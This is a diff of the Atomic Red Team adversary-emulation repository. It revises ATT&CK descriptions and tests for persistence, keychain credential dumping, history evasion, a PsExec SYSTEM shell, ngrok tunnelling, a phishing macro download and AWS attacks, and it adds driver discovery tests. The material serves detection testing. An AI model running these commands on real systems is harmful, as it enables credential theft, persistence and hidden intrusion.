command: '"C:\Program Files (x86)\Windows Resource Kits\Tools\subinacl.exe"'
|
||||
name: command_prompt
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1543/001)
|
||||
<blockquote>
|
||||
|
||||
Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
|
||||
Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>\~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
|
||||
|
||||
Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.
|
||||
|
||||
|
||||
@@ -2,11 +2,11 @@
|
||||
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1546/004)
|
||||
<blockquote>
|
||||
|
||||
Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user’s home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
|
||||
Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user’s home directory (<code>\~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
|
||||
|
||||
Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session.
|
||||
Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>\~/.bash_profile</code>, <code>\~/.bash_login</code>, or <code>\~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used <code>\~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>\~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the <code>\~/.bash_logout</code> file to execute malicious commands at the end of a session.
|
||||
|
||||
For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.
|
||||
For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with <code>\~/.zprofile</code> and <code>\~/.zlogin</code>. The interactive shell uses the <code>\~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>\~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.
|
||||
|
||||
</blockquote>
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1547/007)
|
||||
<blockquote>
|
||||
|
||||
Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.
|
||||
Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>\~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.
|
||||
|
||||
Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ Adversaries may add login items to execute upon user login to gain persistence o
|
||||
|
||||
Login items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.
|
||||
|
||||
Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
|
||||
Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application “System Events” to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>\~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)
|
||||
|
||||
</blockquote>
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.
|
||||
|
||||
Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)
|
||||
Adversaries may also look in common key directories, such as <code>\~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)
|
||||
|
||||
When a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)
|
||||
|
||||
|
||||
@@ -13,7 +13,7 @@ atomic_tests:
|
||||
stratus_path:
|
||||
description: Path of stratus binary
|
||||
type: path
|
||||
default: $PathToAtomicsFolder/T1552/src
|
||||
default: $PathToAtomicsFolder/../ExternalPayloads
|
||||
aws_region:
|
||||
description: AWS region to detonate
|
||||
type: string
|
||||
@@ -25,6 +25,7 @@ atomic_tests:
|
||||
prereq_command: |
|
||||
if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi;
|
||||
get_prereq_command: |
|
||||
mkdir -p #{stratus_path}
|
||||
if [ "$(uname)" == "Darwin" ]
|
||||
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
|
||||
tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service.
|
||||
|
||||
Keychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)
|
||||
Keychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>\~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)
|
||||
|
||||
Adversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain –d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)
|
||||
Adversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain –d</code> will dump all Login Keychain credentials from <code>\~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>\~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)
|
||||
|
||||
</blockquote>
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
|
||||
|
||||
On Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)
|
||||
On Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>\~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>\~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)
|
||||
|
||||
Adversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.
|
||||
|
||||
|
||||
@@ -766,6 +766,10 @@ Print the last 10 lines of the Uncomplicated Firewall (UFW) log file
|
||||
tail /var/log/ufw.log
|
||||
```
|
||||
|
||||
#### Cleanup Commands:
|
||||
```sh
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -347,6 +347,7 @@ atomic_tests:
|
||||
elevation_required: true
|
||||
command: |
|
||||
tail /var/log/ufw.log
|
||||
cleanup_command: |
|
||||
- name: Disable iptables
|
||||
auto_generated_guid: 7784c64e-ed0b-4b65-bf63-c86db229fd56
|
||||
description: |
|
||||
|
||||
@@ -173,7 +173,7 @@ atomic_tests:
|
||||
stratus_path:
|
||||
description: Path of stratus binary
|
||||
type: path
|
||||
default: $PathToAtomicsFolder/T1562.008/src
|
||||
default: $PathToAtomicsFolder/../ExternalPayloads
|
||||
aws_region:
|
||||
description: AWS region to detonate
|
||||
type: string
|
||||
@@ -185,6 +185,7 @@ atomic_tests:
|
||||
prereq_command: |
|
||||
if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi;
|
||||
get_prereq_command: |
|
||||
mkdir -p #{stratus_path}
|
||||
if [ "$(uname)" == "Darwin" ]
|
||||
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
|
||||
tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
|
||||
@@ -228,7 +229,7 @@ atomic_tests:
|
||||
stratus_path:
|
||||
description: Path of stratus binary
|
||||
type: path
|
||||
default: $PathToAtomicsFolder/T1562.008/src
|
||||
default: $PathToAtomicsFolder/../ExternalPayloads
|
||||
aws_region:
|
||||
description: AWS region to detonate
|
||||
type: string
|
||||
@@ -240,6 +241,7 @@ atomic_tests:
|
||||
prereq_command: |
|
||||
if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi;
|
||||
get_prereq_command: |
|
||||
mkdir -p #{stratus_path}
|
||||
if [ "$(uname)" == "Darwin" ]
|
||||
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
|
||||
tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
|
||||
@@ -282,7 +284,7 @@ atomic_tests:
|
||||
stratus_path:
|
||||
description: Path of stratus binary
|
||||
type: path
|
||||
default: $PathToAtomicsFolder/T1562.008/src
|
||||
default: $PathToAtomicsFolder/../ExternalPayloads
|
||||
aws_region:
|
||||
description: AWS region to detonate
|
||||
type: string
|
||||
@@ -294,6 +296,7 @@ atomic_tests:
|
||||
prereq_command: |
|
||||
if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi;
|
||||
get_prereq_command: |
|
||||
mkdir -p #{stratus_path}
|
||||
if [ "$(uname)" == "Darwin" ]
|
||||
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
|
||||
tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
|
||||
|
||||
@@ -12,10 +12,11 @@ atomic_tests:
|
||||
command: |
|
||||
$url = 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'
|
||||
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
|
||||
Invoke-WebRequest -Uri $url -OutFile $env:TEMP\PhishingAttachment.xlsm
|
||||
New-Item -Path PathToAtomicsFolder\..\ExternalPayloads -ItemType Directory -Force | Out-Null
|
||||
Invoke-WebRequest -Uri $url -OutFile PathToAtomicsFolder\..\ExternalPayloads\PhishingAttachment.xlsm
|
||||
name: powershell
|
||||
cleanup_command: |
|
||||
Remove-Item $env:TEMP\PhishingAttachment.xlsm -ErrorAction Ignore
|
||||
Remove-Item PathToAtomicsFolder\..\ExternalPayloads\PhishingAttachment.xlsm -ErrorAction Ignore
|
||||
|
||||
- name: Word spawned a command shell and used an IP address in the command line
|
||||
auto_generated_guid: cbb6799a-425c-4f83-9194-5447a909d67f
|
||||
|
||||
@@ -216,16 +216,15 @@ atomic_tests:
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: |
|
||||
PsExec tool from Sysinternals must exist in the '\Users\Public\Temp\' directory
|
||||
PsExec tool from Sysinternals must exist in the ExternalPayloads directory
|
||||
prereq_command: |
|
||||
if (Get-ChildItem -Path C:\ -Include *psexec* -File -Recurse -ErrorAction SilentlyContinue) {exit 0} else {exit 1}
|
||||
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe) {exit 0} else {exit 1}
|
||||
get_prereq_command: |
|
||||
New-Item -Type Directory "C:\Users\Public\Temp\" -ErrorAction Ignore -Force | Out-Null
|
||||
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "C:\Users\Public\Temp\PSTools.zip"
|
||||
Expand-Archive "C:\Users\Public\Temp\PsTools.zip" "C:\Users\Public\Temp\" -Force
|
||||
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
||||
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PSTools.zip"
|
||||
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\" -Force
|
||||
executor:
|
||||
command: |-
|
||||
cd C:\Users\Public\Temp\
|
||||
.\PsExec.exe -i -s cmd -accepteula
|
||||
PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe -i -s cmd -accepteula
|
||||
name: powershell
|
||||
elevation_required: true
|
||||
|
||||
@@ -131,19 +131,19 @@ atomic_tests:
|
||||
- description: |
|
||||
Download ngrok
|
||||
prereq_command: |
|
||||
if (Test-Path C:\Users\Public\ngrok) {exit 0} else {exit 1}
|
||||
if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\ngrok) {exit 0} else {exit 1}
|
||||
get_prereq_command: |
|
||||
New-Item -Path C:\Users\Public\ngrok -ItemType Directory | Out-Null
|
||||
Invoke-WebRequest #{download} -OutFile C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip
|
||||
Expand-Archive C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -DestinationPath C:\Users\Public\ngrok
|
||||
New-Item -Path PathToAtomicsFolder\..\ExternalPayloads\ngrok -ItemType Directory -Force | Out-Null
|
||||
Invoke-WebRequest #{download} -OutFile PathToAtomicsFolder\..\ExternalPayloads\ngrok\ngrok-v3-stable-windows-amd64.zip
|
||||
Expand-Archive PathToAtomicsFolder\..\ExternalPayloads\ngrok\ngrok-v3-stable-windows-amd64.zip -DestinationPath PathToAtomicsFolder\..\ExternalPayloads\ngrok
|
||||
executor:
|
||||
command: |
|
||||
C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null
|
||||
Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null
|
||||
PathToAtomicsFolder\..\ExternalPayloads\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null
|
||||
Start-Job -ScriptBlock { PathToAtomicsFolder\..\ExternalPayloads\ngrok\ngrok.exe tcp #{port_num} } | Out-Null
|
||||
Start-Sleep -s 5
|
||||
Stop-Job -Name Job1 | Out-Null
|
||||
cleanup_command: |
|
||||
Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore
|
||||
Remove-Item PathToAtomicsFolder\..\ExternalPayloads\ngrok -Recurse -ErrorAction Ignore
|
||||
Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore
|
||||
name: powershell
|
||||
elevation_required: true
|
||||
|
||||
@@ -13,7 +13,7 @@ atomic_tests:
|
||||
stratus_path:
|
||||
description: Path of stratus binary
|
||||
type: path
|
||||
default: $PathToAtomicsFolder/T1580/src
|
||||
default: $PathToAtomicsFolder/../ExternalPayloads
|
||||
aws_region:
|
||||
description: AWS region to detonate
|
||||
type: string
|
||||
@@ -25,6 +25,7 @@ atomic_tests:
|
||||
prereq_command: |
|
||||
if test -f "#{stratus_path}/stratus"; then exit 0; else exit 1; fi
|
||||
get_prereq_command: |
|
||||
mkdir -p #{stratus_path}
|
||||
if [ "$(uname)" = "Darwin" ]
|
||||
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep -i Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
|
||||
tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
|
||||
|
||||
@@ -14,6 +14,14 @@ On Linux/macOS, device drivers (in the form of kernel modules) may be visible wi
|
||||
|
||||
- [Atomic Test #1 - Device Driver Discovery](#atomic-test-1---device-driver-discovery)
|
||||
|
||||
- [Atomic Test #2 - Device Driver Discovery (Linux)](#atomic-test-2---device-driver-discovery-linux)
|
||||
|
||||
- [Atomic Test #3 - Enumerate Kernel Driver Files (Linux)](#atomic-test-3---enumerate-kernel-driver-files-linux)
|
||||
|
||||
- [Atomic Test #4 - List loaded kernel extensions (macOS)](#atomic-test-4---list-loaded-kernel-extensions-macos)
|
||||
|
||||
- [Atomic Test #5 - Find Kernel Extensions (macOS)](#atomic-test-5---find-kernel-extensions-macos)
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -46,4 +54,116 @@ driverquery /si /fo list
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #2 - Device Driver Discovery (Linux)
|
||||
Displays a list of loaded kernel modules on a Linux system, which is used to enumerate drivers.
|
||||
|
||||
**Supported Platforms:** Linux
|
||||
|
||||
|
||||
**auto_generated_guid:** d57dfc9e-ed9a-418e-88f8-b59c85f8cfd1
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `bash`!
|
||||
|
||||
|
||||
```bash
|
||||
lsmod
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #3 - Enumerate Kernel Driver Files (Linux)
|
||||
Finds and lists all kernel driver files on a Linux system in order to provide a broader view of available drivers, not just loaded ones.
|
||||
|
||||
**Supported Platforms:** Linux
|
||||
|
||||
|
||||
**auto_generated_guid:** 13c0fef5-9be9-4d7f-9c6b-901624e53770
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `bash`!
|
||||
|
||||
|
||||
```bash
|
||||
find /lib/modules/$(uname -r)/kernel/drivers -name "*.ko*"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #4 - List loaded kernel extensions (macOS)
|
||||
Displays a list of loaded kernel extensions (kexts) on a macOS system.
|
||||
|
||||
**Supported Platforms:** macOS
|
||||
|
||||
|
||||
**auto_generated_guid:** 71eab73d-5d7d-4681-9a72-7873489a5b85
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `bash`!
|
||||
|
||||
|
||||
```bash
|
||||
kextstat
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #5 - Find Kernel Extensions (macOS)
|
||||
Searches for kernel extension (kext) files on a macOS system.
|
||||
|
||||
**Supported Platforms:** macOS
|
||||
|
||||
|
||||
**auto_generated_guid:** c63bbe52-6f17-4832-b221-f07ba8b1736f
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Attack Commands: Run with `bash`!
|
||||
|
||||
|
||||
```bash
|
||||
kextfind
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
|
||||
@@ -18,3 +18,47 @@ atomic_tests:
|
||||
cleanup_command:
|
||||
name: powershell
|
||||
elevation_required: false
|
||||
- name: Device Driver Discovery (Linux)
|
||||
auto_generated_guid: d57dfc9e-ed9a-418e-88f8-b59c85f8cfd1
|
||||
description: |
|
||||
Displays a list of loaded kernel modules on a Linux system, which is used to enumerate drivers.
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
command: |
|
||||
lsmod
|
||||
name: bash
|
||||
elevation_required: false
|
||||
- name: Enumerate Kernel Driver Files (Linux)
|
||||
auto_generated_guid: 13c0fef5-9be9-4d7f-9c6b-901624e53770
|
||||
description: |
|
||||
Finds and lists all kernel driver files on a Linux system in order to provide a broader view of available drivers, not just loaded ones.
|
||||
supported_platforms:
|
||||
- linux
|
||||
executor:
|
||||
command: |
|
||||
find /lib/modules/$(uname -r)/kernel/drivers -name "*.ko*"
|
||||
name: bash
|
||||
elevation_required: false
|
||||
- name: List loaded kernel extensions (macOS)
|
||||
auto_generated_guid: 71eab73d-5d7d-4681-9a72-7873489a5b85
|
||||
description: |
|
||||
Displays a list of loaded kernel extensions (kexts) on a macOS system.
|
||||
supported_platforms:
|
||||
- macos
|
||||
executor:
|
||||
command: |
|
||||
